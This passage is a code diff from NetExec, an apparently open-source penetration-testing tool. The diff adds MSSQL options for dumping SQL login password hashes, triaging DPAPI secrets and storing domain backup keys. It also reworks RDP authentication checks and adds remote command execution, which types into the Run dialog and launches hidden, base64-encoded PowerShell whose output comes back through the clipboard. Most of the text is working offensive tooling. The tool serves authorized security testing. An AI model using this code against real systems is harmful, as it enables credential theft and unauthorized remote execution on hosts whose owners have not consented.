+        self.dpapi_triage.triage_dpapi()
+
+    @property
+    def dpapi_triage(self) -> DPAPITriage:
+        if self._dpapi_triage is not None:
+            return self._dpapi_triage
+
+        target = Target.create(
+            domain=self.domain,
+            username=self.username,
+            password=self.password,
+            address=self.remoteName,
+            port=self.port,
+            hashes=f":{self.nthash}",
+            do_kerberos=self.kerberos,
+            kdcHost=self.kdcHost,
+            use_kcache=self.use_kcache,
+            aesKey=self.aesKey,
+            db_auth=self.args.local_auth,
+        )
+
+        self._dpapi_triage = DPAPITriage(self, target)
+        return self._dpapi_triage
+
+    @requires_admin
+    def db_hash(self):
+        self.logger.display("Dumping local database users' hashes")
+        query = """
+        SELECT
+            sp.name,
+            CASE
+                WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0200 THEN 'SHA-512'
+                WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0300 THEN 'PBKDF2'
+                WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0100 THEN 'SHA-1'
+                ELSE 'Unknown'
+            END AS hash_type,
+            sl.password_hash
+        FROM sys.server_principals sp
+        INNER JOIN sys.sql_logins sl
+            ON sp.principal_id = sl.principal_id
+        WHERE sp.type = 'S'           -- uniquement les logins SQL
+        AND sp.name NOT LIKE '##%'
+        ORDER BY sp.name;
+        """
+        rows = self.conn.sql_query(query)
+        if self.conn.lastError:
+            self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
+            return
+        if not rows:
+            self.logger.fail("No logins returned")
+            return
+        else:
+            self.logger.display("Enumerated logins")
+            self.logger.highlight(f"{'Login Name':<15} {'Hash type':<10} {'Hash'}")
+            self.logger.highlight(f"{'----------':<15} {'----------':<10} {'--------------':}")
+            for row in rows:
+                name = row.get("name")
+                hash_type = row.get("hash_type")
+                password_hash = row.get("password_hash")
+                if password_hash != "NULL":
+                    self.logger.highlight(f"{name:<15} {hash_type:<10} {password_hash:<140}")
+
+    def list_backups(self):
+        self.logger.info("Dumping database backups")
+        query = """
+        SELECT
+            bs.database_name,
+            bs.server_name,
+            bmf.physical_device_name AS backup_file_path,
+            CASE
+                WHEN bs.encryptor_type IS NULL THEN 'Unencrypted'
+                ELSE 'Encrypted'
+            END AS backup_encryption_status,
+            bs.encryptor_type,
+            bs.key_algorithm
+        FROM msdb.dbo.backupset AS bs
+        INNER JOIN msdb.dbo.backupmediafamily AS bmf
+            ON bs.media_set_id = bmf.media_set_id
+        INNER JOIN sys.databases AS d
+            ON bs.database_name = d.name
+        ORDER BY bs.backup_finish_date DESC;
+        """
+        rows = self.conn.sql_query(query)
+        if self.conn.lastError:
+            self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
+            return
+        if not rows:
+            self.logger.fail("No backups returned")
+            return
+        else:
+            self.logger.display("Enumerated backups")
+            self.logger.highlight(f"{'Backup Name':<20} {'Encryption':<15} {'Backup Path'}")
+            self.logger.highlight(f"{'-----------':<20} {'----------':<15} {'-----------'}")
+            for row in rows:
+                database_name = row.get("database_name").strip()
+                is_encrypted = row.get("backup_encryption_status").strip()
+                backup_file_path = row.get("backup_file_path").strip()
+                self.logger.highlight(f"{database_name:<20} {is_encrypted:<15s} {backup_file_path}")

nxc/protocols/mssql/database.py

@@ -1,6 +1,7 @@
 import warnings
+import base64
 
-from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete, Boolean
+from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean, and_, or_
 from sqlalchemy.dialects.sqlite import Insert  # used for upsert
 from sqlalchemy.exc import SAWarning
 from sqlalchemy.orm import declarative_base
@@ -19,6 +20,8 @@ class database(BaseDB):
         self.HostsTable = None
         self.UsersTable = None
         self.AdminRelationsTable = None
+        self.DpapiBackupkeyTable = None
+        self.DpapiSecretsTable = None
 
         super().__init__(db_engine)
 
@@ -75,6 +78,32 @@ class database(BaseDB):
             ForeignKeyConstraint(["hostid"], ["hosts.id"]),
         )
 
+    class DpapiSecret(Base):
+        __tablename__ = "dpapi_secrets"
+        id = Column(Integer)
+        host = Column(String)
+        dpapi_type = Column(String)
+        windows_user = Column(String)
+        username = Column(String)
+        password = Column(String)
+        url = Column(String)
+
+        __table_args__ = (
+            PrimaryKeyConstraint("id"),
+            UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
+        )
+
+    class DpapiBackupKey(Base):
+        __tablename__ = "dpapi_backupkey"
+        id = Column(Integer)
+        domain = Column(String)
+        pvk = Column(String)
+
+        __table_args__ = (
+            PrimaryKeyConstraint("id"),
+            UniqueConstraint("domain"),
+        )
+
     @staticmethod
     def db_schema(db_conn):
         Base.metadata.create_all(db_conn)
@@ -84,6 +113,8 @@ class database(BaseDB):
         self.UsersTable = self.reflect_table(self.User)
         self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
         self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
+        self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
+        self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
 
     def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq):
         """
@@ -279,6 +310,20 @@ class database(BaseDB):
 
         return self.db_execute(q).all()
 
+    def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
+        """Return credentials for a list of users from the database."""
+        if cred_type:
+            q = select(self.UsersTable).filter(
+                self.UsersTable.c.credtype == cred_type,
+                and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
+            )
+        else:
+            q = select(self.UsersTable).filter(
+                or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
+            )
+
+        return self.db_execute(q).all()
+
     def get_credential(self, cred_type, domain, username, password):
         q = select(self.UsersTable).filter(
             self.UsersTable.c.domain == domain,
@@ -353,3 +398,113 @@ class database(BaseDB):
         elif host_id:
             q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
         self.db_execute(q)
+
+    def add_domain_backupkey(self, domain: str, pvk: bytes):
+        """
+        Add domain backupkey
+        :domain is the domain fqdn
+        :pvk is the domain backupkey
+        """
+        q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
+        results = self.db_execute(q).all()
+
+        if not len(results):
+            pvk_encoded = base64.b64encode(pvk)
+            backup_key = {"domain": domain, "pvk": pvk_encoded}
+            try:
+                # TODO: find a way to abstract this away to a single Upsert call
+                q = Insert(self.DpapiBackupkeyTable)  # .returning(self.DpapiBackupkeyTable.c.id)
+
+                self.db_execute(q, [backup_key])  # .scalar()
+                nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
+            except Exception as e:
+                nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
+
+    def get_domain_backupkey(self, domain: str | None = None):
+        """
+        Get domain backupkey
+        :domain is the domain fqdn
+        """
+        q = select(self.DpapiBackupkeyTable)
+        if domain is not None:
+            q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
+        results = self.db_execute(q).all()
+
+        nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
+
+        if len(results) > 0:
+            results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
+        return results
+
+    def is_dpapi_secret_valid(self, dpapi_secret_id):
+        """
+        Check if this DPAPI secret ID is valid.
+        :dpapi_secret_id is a primary id
+        """
+        q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
+        results = self.db_execute(q).first()
+        valid = results is not None
+        nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
+        return valid
+
+    def add_dpapi_secrets(
+        self,
+        host: str,
+        dpapi_type: str,
+        windows_user: str,
+        username: str,
+        password: str,
+        url: str = "",
+    ):
+        """Add dpapi secrets to nxcdb"""
+        secret = {
+            "host": host,
+            "dpapi_type": dpapi_type,
+            "windows_user": windows_user,
+            "username": username,
+            "password": password,
+            "url": url,
+        }
+        q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing()  # .returning(self.DpapiSecretsTable.c.id)
+
+        self.db_execute(q, [secret])  # .scalar()
+
+        nxc_logger.debug(
+            f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
+
+    def get_dpapi_secrets(
+        self,
+        filter_term=None,
+        host: str | None = None,
+        dpapi_type: str | None = None,
+        windows_user: str | None = None,
+        username: str | None = None,
+        url: str | None = None,
+    ):
+        """Get dpapi secrets from nxcdb"""
+        q = select(self.DpapiSecretsTable)
+
+        if self.is_dpapi_secret_valid(filter_term):
+            q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
+            results = self.db_execute(q).first()
+            # all() returns a list, so we keep the return format the same so consumers don't have to guess
+            return [results]
+        elif host:
+            q = q.filter(self.DpapiSecretsTable.c.host == host)
+            results = self.db_execute(q).first()
+            # all() returns a list, so we keep the return format the same so consumers don't have to guess
+            return [results]
+        elif dpapi_type:
+            q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
+        elif windows_user:
+            like_term = func.lower(f"%{windows_user}%")
+            q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
+        elif username:
+            like_term = func.lower(f"%{username}%")
+            q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
+        elif url:
+            q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
+        results = self.db_execute(q).all()
+
+        nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
+        return results

nxc/protocols/mssql/proto_args.py

@@ -16,6 +16,10 @@ def proto_args(parser, parents):
     cgroup = mssql_parser.add_argument_group("Credential Gathering")
     cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
     cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
+    cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
+    cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
+    cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
+    cgroup.add_argument("--db-hash", action="store_true", help="dump local database hashes")
 
     cgroup = mssql_parser.add_argument_group("Command Execution")
     cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
@@ -36,4 +40,5 @@ def proto_args(parser, parents):
 
     mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration")
     mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
+    mapping_enum_group.add_argument("--list-backups", action="store_true", help="dump database backups path")
     return parser

nxc/protocols/rdp.py

@@ -1,19 +1,25 @@
 import asyncio
+import base64
+import copy
 import contextlib
 from datetime import datetime
 from os import getenv
+from uuid import uuid4
 from anyio import Path
 from termcolor import colored
 
 from impacket.krb5.ccache import CCache
+from impacket.smb3 import WIN_VERSIONS
 
 from nxc.connection import connection
+from nxc.helpers.misc import sanitize_dns
+from nxc.helpers.path import sanitize_path_component
 from nxc.helpers.bloodhound import add_user_bh
 from nxc.logger import NXCAdapter
 from nxc.config import host_info_colors, process_secret
 from nxc.paths import NXC_PATH
 
-from aardwolf.connection import RDPConnection
+from aardwolf.connection import RDPConnection, AUTHZ_ACCESS_DENIED
 from aardwolf.commons.queuedata.constants import VIDEO_FORMAT
 from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_UNICODE
 from aardwolf.commons.iosettings import RDPIOSettings
@@ -34,7 +40,6 @@ class rdp(connection):
         self.domain = None
         self.server_os = None
         self.iosettings = RDPIOSettings()
-        self.iosettings.video_out_format = VIDEO_FORMAT.RAW
         self.iosettings.clipboard_use_pyperclip = False
         self.protoflags_nla = [
             SUPP_PROTOCOLS.SSL,
@@ -54,8 +59,8 @@ class rdp(connection):
         # servers dont support 8 any more :/
         self.iosettings.video_bpp_min = 15
         self.iosettings.video_bpp_max = 32
-        # PIL produces incorrect picture for some reason?! TODO: check bug
-        self.iosettings.video_out_format = VIDEO_FORMAT.PNG  #
+        # screenshots read the desktop buffer, so don't PNG-encode every update put on ext_out_queue
+        self.iosettings.video_out_format = VIDEO_FORMAT.PIL
         self.domain = None
         self.server_os = None
         self.url = None
@@ -81,7 +86,9 @@ class rdp(connection):
             "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
         }
 
-        connection.__init__(self, args, db, host)
+        # one event loop per target: aardwolf's reader tasks die with their loop, so a session can only be reused on the loop that opened it
+        with asyncio.Runner() as self.runner:
+            connection.__init__(self, args, db, host)
 
     def proto_logger(self):
         import platform
@@ -114,21 +121,30 @@ class rdp(connection):
             except Exception as e:
                 self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
 
+    def _create_rdp_connection(self, credentials, supported_protocols=None):
+        iosettings = self.iosettings.clone_for_connection()
+        # Explicit protocols are used by discovery and screenshot fallbacks.
+        # Authenticated connections leave this unset so aardwolf selects the
+        # X224 flags appropriate for the credential type.
+        iosettings.supported_protocols = supported_protocols
+        return RDPConnection(
+            iosettings=iosettings,
+            target=copy.deepcopy(self.target),
+            credentials=copy.deepcopy(credentials),
+        )
+
     def create_conn_obj(self):
-        self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
+        self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout, unsafe_ssl=True)  # old servers only offer ciphers OpenSSL rejects at its default security level
         self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
 
-        asyncio.run(self.check_nla())
+        self.runner.run(self.check_nla())
 
         for proto in reversed(self.protoflags):
             try:
-                self.iosettings.supported_protocols = proto
-                self.conn = RDPConnection(
-                    iosettings=self.iosettings,
-                    target=self.target,
-                    credentials=self.auth,
+                self.conn = self._create_rdp_connection(
+                    self.auth, supported_protocols=proto
                 )
-                asyncio.run(self.connect_rdp_with_cleanup())
+                self.runner.run(self.connect_rdp_with_cleanup())
             except OSError as e:
                 if "Errno 104" not in str(e):
                     return False
@@ -141,9 +157,10 @@ class rdp(connection):
                     except Exception:
                         pass
                     else:
-                        self.domain = info_domain["dnsdomainname"]
-                        self.hostname = info_domain["computername"]
-                        self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"])
+                        self.hostname = sanitize_dns(info_domain.get("computername"), self.logger)
+                        self.domain = sanitize_dns(info_domain.get("dnsdomainname"), self.logger)
+                        self.remoteName = sanitize_dns(info_domain.get("dnscomputername"), self.logger) if self.kerberos else self.host
+                        self.server_os = self.guess_os(info_domain)
                         self.logger.extra["hostname"] = self.hostname
                     break
 
@@ -152,8 +169,6 @@ class rdp(connection):
         if self.args.local_auth:
             self.domain = self.hostname
 
-        self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
-
         if not self.kdcHost and self.domain:
             result = self.resolver(self.domain)
             self.kdcHost = result["host"] if result else None
@@ -166,22 +181,33 @@ class rdp(connection):
             domain=self.domain,
             dc_ip=self.domain,
             timeout=self.args.rdp_timeout,
+            unsafe_ssl=True,
         )
 
+        # Reset so aardwolf negotiates on its own (restricted admin + HYBRID_EX), the loop above pinned it
+        self.iosettings.supported_protocols = None
+
         return True
 
+    def guess_os(self, info_domain):
+        build = info_domain.get("os_build")
+        if build in WIN_VERSIONS:
+            return f"{WIN_VERSIONS[build]} Build {build}"
+        if info_domain.get("os_major_version") == "WINDOWS_MAJOR_VERSION_10":   # asyauth labels every 10.0 kernel "Windows 10 or Windows Server 2016", only trust it for older kernels
+            return f"Windows 10.0 Build {build}"
+        return f"{info_domain.get('os_guess') or 'Unknown'} Build {build or 'Unknown'}"
+
     async def check_nla(self):
         self.logger.debug(f"Checking NLA for {self.host}")
+        probe_connection = None
         try:
-            self.iosettings.supported_protocols = SUPP_PROTOCOLS.SSL
-            self.conn = RDPConnection(
-                iosettings=self.iosettings,
-                target=self.target,
-                credentials=None,
+            self.conn = self._create_rdp_connection(
+                None, supported_protocols=SUPP_PROTOCOLS.SSL
             )
             packetizer = TPKTPacketizer()
             client = UniClient(self.target, packetizer)
-            self.conn._connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
+            probe_connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
+            self.conn._connection = probe_connection
             self.conn._x224net = X224Network(self.conn._connection)
             _, err = await asyncio.wait_for(self.conn._x224net.client_negotiate(0, SUPP_PROTOCOLS.SSL), timeout=self.args.rdp_timeout)
             # If no error SSL supported if SSL_NOT_ALLOWED_BY_SERVER error, plain RDP supported
@@ -190,25 +216,27 @@ class rdp(connection):
                 return
         except Exception:
             pass
+        finally:
+            # this probe socket is not owned by aardwolf, terminate() would not close it
+            if probe_connection is not None:
+                await probe_connection.close()
 
     async def connect_rdp(self):
-        """Connect to the RDP server. Does NOT clean up on exit.
-
-        Use this when the caller needs the connection alive after connecting
-        (screen, nla_screen, execute_shell). For sync callers that only need to
-        know whether authentication succeeded and want guaranteed cleanup, use
-        connect_rdp_with_cleanup() instead.
-        """
+        """Connect to the RDP server. Does NOT clean up on exit."""
         _, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
         if err is not None:
             raise err
+        self.logger.debug(f"RDP negotiated protocol: {self.conn.x224_protocol}, authz_result: {self.conn.authz_result}")
 
     async def terminate_conn(self):
-        """Terminate the RDP connection with a timeout so cleanup doesn't hang."""
+        """Terminate the RDP connection with a timeout so cleanup doesn't hang (https://github.com/skelsec/aardwolf/issues/43)."""
         if self.conn is not None:
             with contextlib.suppress(Exception):
                 await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
 
+    def disconnect(self):
+        self.runner.run(self.terminate_conn())
+
     async def connect_rdp_with_cleanup(self):
         """Connect to the RDP server and always terminate the connection on exit"""
         try:
@@ -216,7 +244,31 @@ class rdp(connection):
         finally:
             await self.terminate_conn()
 
+    async def login_and_confirm(self):
+        """Log on and return whether a real session opened (Save Session Info PDU). The session stays open for -x/-X/--screenshot until disconnect().
+
+        That PDU never comes when access is authorized but the logon is refused (restricted admin).
+        """
+        await self.terminate_conn()  # a session kept by an earlier success (--continue-on-success) would take a session slot this logon needs
+        self.conn = self._create_rdp_connection(self.auth)
+        await self.connect_rdp()
+        try:
+            await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
+            return True
+        except TimeoutError:
+            self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
+            return False
+
+    def rdp_access_denied(self):
+        """Whether the Early User Authorization Result PDU says the account has no RDP access right at all.
+
+        Distinct from a valid right whose logon is later refused (restricted admin), which yields no such PDU.
+        """
+        self.logger.debug(f"authz_result from Early User Authorization Result PDU: {self.conn.authz_result}")
+        return self.conn.authz_result == AUTHZ_ACCESS_DENIED
+
     def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
+        self.username = username
         try:
             lmhash = ""
             nthash = ""
@@ -232,23 +284,23 @@ class rdp(connection):
             if nthash:
                 self.nthash = nthash
 
-            kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else ""
-
             self.hostname + "." + self.domain
             password = password if password else nthash
 
             if useCache:
                 stype = asyauthSecret.CCACHE
-                if not password:
-                    password = password if password else getenv("KRB5CCNAME")
-                    if "/" in password:
-                        self.logger.fail("Kerberos ticket need to be on the local directory")
-                        return False
-                    ccache = CCache.loadFile(getenv("KRB5CCNAME"))
-                    ticketCreds = ccache.credentials[0]
-                    username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
+                password = getenv("KRB5CCNAME")
+                ccache = CCache.loadFile(password)
+                ticketCreds = ccache.credentials[0]
+                username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
+            elif aesKey:
+                stype = asyauthSecret.AES
+                password = aesKey
             else:
                 stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
+                password = password if password else nthash
+
+            kerb_pass = password
 
             kerberos_target = UniTarget(
                 self.kdcHost,
@@ -268,10 +320,8 @@ class rdp(connection):
                 domain=domain,
                 stype=stype,
             )
-            self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
-            asyncio.run(self.connect_rdp_with_cleanup())
+            self.admin_privs = self.runner.run(self.login_and_confirm())
 
-            self.admin_privs = True
             self.logger.success(
                 "{}\\{}{} {}".format(
                     domain,
@@ -299,8 +349,11 @@ class rdp(connection):
                     (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
                     color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"),
                 )
-            elif "Authentication failed!" in str(e):
-                self.logger.success(f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}")
+            elif self.rdp_access_denied():
+                self.logger.success(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'}")
+                if not self.args.local_auth and self.username != "":
+                    add_user_bh(username, domain, self.logger, self.config)
+                return True
             elif "No such file" in str(e):
                 self.logger.fail(e)
             else:
@@ -317,6 +370,7 @@ class rdp(connection):
             return False
 
     def plaintext_login(self, domain, username, password):
+        self.username = username
         try:
             self.auth = NTLMCredential(
                 secret=password,
@@ -324,10 +378,8 @@ class rdp(connection):
                 domain=domain,
                 stype=asyauthSecret.PASS,
             )
-            self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
-            asyncio.run(self.connect_rdp_with_cleanup())
+            self.admin_privs = self.runner.run(self.login_and_confirm())
 
-            self.admin_privs = True
             self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
             if not self.args.local_auth and self.username != "":
                 add_user_bh(username, domain, self.logger, self.config)
@@ -335,8 +387,11 @@ class rdp(connection):
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
             return True
         except Exception as e:
-            if "Authentication failed!" in str(e):
-                self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
+            if self.rdp_access_denied():
+                self.logger.success(f"{domain}\\{username}:{process_secret(password)}")
+                if not self.args.local_auth and self.username != "":
+                    add_user_bh(username, domain, self.logger, self.config)
+                return True
             else:
                 reason = None
                 for word in self.rdp_error_status:
@@ -351,6 +406,7 @@ class rdp(connection):
             return False
 
     def hash_login(self, domain, username, ntlm_hash):
+        self.username = username
         try:
             self.auth = NTLMCredential(
                 secret=ntlm_hash,
@@ -358,10 +414,8 @@ class rdp(connection):
                 domain=domain,
                 stype=asyauthSecret.NT,
             )
-            self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
-            asyncio.run(self.connect_rdp_with_cleanup())
+            self.admin_privs = self.runner.run(self.login_and_confirm())
 
-            self.admin_privs = True
             self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
             if not self.args.local_auth and self.username != "":
                 add_user_bh(username, domain, self.logger, self.config)
@@ -369,8 +423,11 @@ class rdp(connection):
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
             return True
         except Exception as e:
-            if "Authentication failed!" in str(e):
-                self.logger.success(f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
+            if self.rdp_access_denied():
+                self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)}")
+                if not self.args.local_auth and self.username != "":
+                    add_user_bh(username, domain, self.logger, self.config)
+                return True
             else:
                 reason = None
                 for word in self.rdp_error_status:
@@ -388,10 +445,11 @@ class rdp(connection):
     async def _send_keystrokes(self, text, delay=0.02):
         """Helper method to send keystrokes to the RDP session"""
         for char in text:
-            key_event = RDP_KEYBOARD_UNICODE()
-            key_event.char = char
-            key_event.is_pressed = True
-            await self.conn.ext_in_queue.put(key_event)
+            for is_pressed in (True, False):
+                key_event = RDP_KEYBOARD_UNICODE()
+                key_event.char = char
+                key_event.is_pressed = is_pressed
+                await self.conn.ext_in_queue.put(key_event)
             await asyncio.sleep(delay)
 
     async def _send_enter(self):
@@ -400,144 +458,223 @@ class rdp(connection):
         await asyncio.sleep(0.05)
         await self.conn.send_key_virtualkey("VK_RETURN", False, False)
 
+    async def _send_shortcut(self, modifier, key):
+        layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
+        modifier_scancode = layout.vk_to_scancode(modifier)
+        key_scancode = layout.char_to_scancode(key)[0]
+
+        await self.conn.send_key_scancode(modifier_scancode, True, False)
+        await asyncio.sleep(0.05)
+        await self.conn.send_key_scancode(key_scancode, True, False)
+        await asyncio.sleep(0.05)
+        await self.conn.send_key_scancode(key_scancode, False, False)
+        await asyncio.sleep(0.05)
+        await self.conn.send_key_scancode(modifier_scancode, False, False)
+
     async def _send_win_r(self):
         """Helper method to send Windows+R key combination to open Run dialog"""
+        self.logger.debug("Sending Win+R using scancode method")
+        for _ in range(2):
+            _, err = await self.conn.send_focus_in()
+            if err is not None:
+                raise err
+        await self._send_shortcut("VK_LWIN", "r")
+        await asyncio.sleep(0.5)
+
+    @staticmethod
+    def _build_execution_command(payload, shell_type, marker, get_output):
+        if not get_output:
+            if shell_type == "cmd":
+                return f"cmd.exe /d /s /c {payload}"
+            if shell_type == "powershell":
+                return (
+                    "powershell.exe -NoLogo -NoProfile -NonInteractive "
+                    f"-WindowStyle Hidden -Command {payload}"
+                )
+            raise ValueError(f"Unsupported shell type: {shell_type}")
+
+        payload_encoded = base64.b64encode(payload.encode("utf-16-le")).decode("ascii")
+        decode_payload = f"$command = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{payload_encoded}'))"
+
+        if shell_type == "cmd":
+            invoke_command = "$output = & $env:ComSpec /d /s /c $command 2>&1"
+        elif shell_type == "powershell":
+            invoke_command = "$output = & ([ScriptBlock]::Create($command)) 2>&1"
+        else:
+            raise ValueError(f"Unsupported shell type: {shell_type}")
+
+        start_marker = f"__NXC_RDP_START_{marker}__"
+        end_marker = f"__NXC_RDP_END_{marker}__"
+        script = f"""
+$ErrorActionPreference = 'Continue'
+{decode_payload}
+try {{
+    {invoke_command}
+    $succeeded = $?
+    $nativeExitCode = $LASTEXITCODE
+}} catch {{
+    $output = $_
+    $succeeded = $false
+    $nativeExitCode = $null
+}}
+$exitCode = if ($null -ne $nativeExitCode) {{ [int]$nativeExitCode }} elseif (-not $succeeded) {{ 1 }} else {{ 0 }}
+$outputText = ($output | Out-String -Width 4096).TrimEnd()
+$result = @('{start_marker}', [string]$exitCode, $outputText, '{end_marker}') -join [Environment]::NewLine
+Add-Type -AssemblyName System.Windows.Forms
+[System.Windows.Forms.Clipboard]::SetText($result)
+"""
+
+        encoded_script = base64.b64encode(script.encode("utf-16-le")).decode("ascii")
+        return f"powershell.exe -NoLogo -NoProfile -NonInteractive -STA -WindowStyle Hidden -EncodedCommand {encoded_script}"
+
+    @staticmethod
+    def _parse_execution_result(clipboard_text, marker):
+        start_marker = f"__NXC_RDP_START_{marker}__"
+        end_marker = f"__NXC_RDP_END_{marker}__"
+        normalized = clipboard_text.replace("\r\n", "\n").rstrip("\x00")
+
+        start_index = normalized.find(start_marker)
+        end_index = normalized.find(end_marker, start_index + len(start_marker))
+        if start_index == -1 or end_index == -1:
+            return None
+
+        body = normalized[start_index + len(start_marker):end_index].lstrip("\n")
+        exit_code_text, separator, output = body.partition("\n")
+        if not separator:
+            return None
+
         try:
-            self.logger.debug("Sending Win+R using scancode method")
+            exit_code = int(exit_code_text.strip())
+        except ValueError:
+            return None
+        return exit_code, output.rstrip("\n")
 
-            layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
+    async def _wait_for_event(self, event_names, max_wait):
+        loop = asyncio.get_running_loop()
+        deadline = loop.time() + max_wait
 
-            win_scancode = layout.vk_to_scancode("VK_LWIN")
-            await self.conn.send_key_scancode(win_scancode, True, False)
-            await asyncio.sleep(0.1)
+        while True:
+            if self.conn.disconnected_evt.is_set():
+                raise ConnectionError("RDP connection was terminated")
 
-            r_scancode = layout.char_to_scancode("r")[0]
-            await self.conn.send_key_scancode(r_scancode, True, False)
-            await asyncio.sleep(0.1)
+            remaining = deadline - loop.time()
+            if remaining <= 0:
+                raise TimeoutError
 
-            await self.conn.send_key_scancode(r_scancode, False, False)
-            await asyncio.sleep(0.1)
+            data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=remaining)
+            if data is None:
+                raise ConnectionError("RDP connection was terminated")
 
-            await self.conn.send_key_scancode(win_scancode, False, False)
+            event_name = getattr(getattr(data, "type", None), "name", None)
+            if event_name in event_names:
+                return data
 
-            await asyncio.sleep(0.5)
+    async def _wait_for_desktop(self):
+        loop = asyncio.get_running_loop()
+        started_at = loop.time()
 
-            self.logger.debug("Win+R sent successfully")
-            return True
-        except (ConnectionResetError, ConnectionError, OSError) as e:
-            self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
-            self.logger.fail("Connection was reset by the remote host")
-            return False
-        except Exception as e:
-            self.logger.debug(f"Error sending Win+R: {e!s}")
-            self.logger.debug("Using fallback approach for opening command prompt")
-            return False
+        if not self.conn.desktop_buffer_has_data:
+            try:
+                await self._wait_for_event({"VIDEO"}, self.args.cmd_delay)
+            except TimeoutError:
+                self.logger.debug("No desktop update received before command execution; continuing")
+
